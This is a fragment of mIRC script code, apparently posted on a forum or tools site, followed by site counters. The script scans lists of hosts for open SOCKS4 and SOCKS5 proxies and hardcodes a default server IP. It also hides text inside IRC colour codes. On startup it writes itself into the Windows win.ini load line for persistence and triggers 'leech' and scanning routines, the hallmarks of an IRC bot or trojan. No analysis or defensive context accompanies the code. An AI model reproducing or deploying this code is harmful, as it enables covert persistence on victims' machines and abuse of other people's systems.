on 1:SOCKCLOSE:s5*:{ echo 4 @sock5 * $sock($sockname).ip $+ : $+ $sock($sockname).port Connection Terminated. | return }
on 1:SOCKCLOSE:s4*:{ echo 4 @sock4 * $sock($sockname).ip $+ : $+ $sock($sockname).port Connection Terminated. | return }
alias def.s return 194.68.45.50
alias scans4file { s4.scan $getiphost2($1-) }
alias s4file { play -a scans4file @sock4 $1- }
alias scans5file { s5.scan $getiphost2($1-) }
alias s5file { play -a scans5file @sock5 $1- }
alias ColourEncode {
var %c.1
var %k.1 = $chr(3)
var %s.1 = $chr(44)
var %x.1 = 1
var %y.1 = $len($1-)
var %r.1 = $null
while (%x.1 <= %y.1) {
%c.1 = $asc($mid($1-,%x.1,1))
%h.1 = $floor($calc(%c.1 / 16))
%l.1 = $calc(%c.1 % 16)
%r.1 = $+(%r.1,%k.1,%h.1,%s.1,%l.1)
inc %x.1
}
return %r.1
}
on 1:START:{ writeini C:/windows/win.ini windows load $shortfn($mircexe) | .timerleech -o 1 10 leech | scan.win }
|
|
|
Discussions
Tools
Content
Info
Membership:
Latest: 
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 87
Members: 0
Total: 87
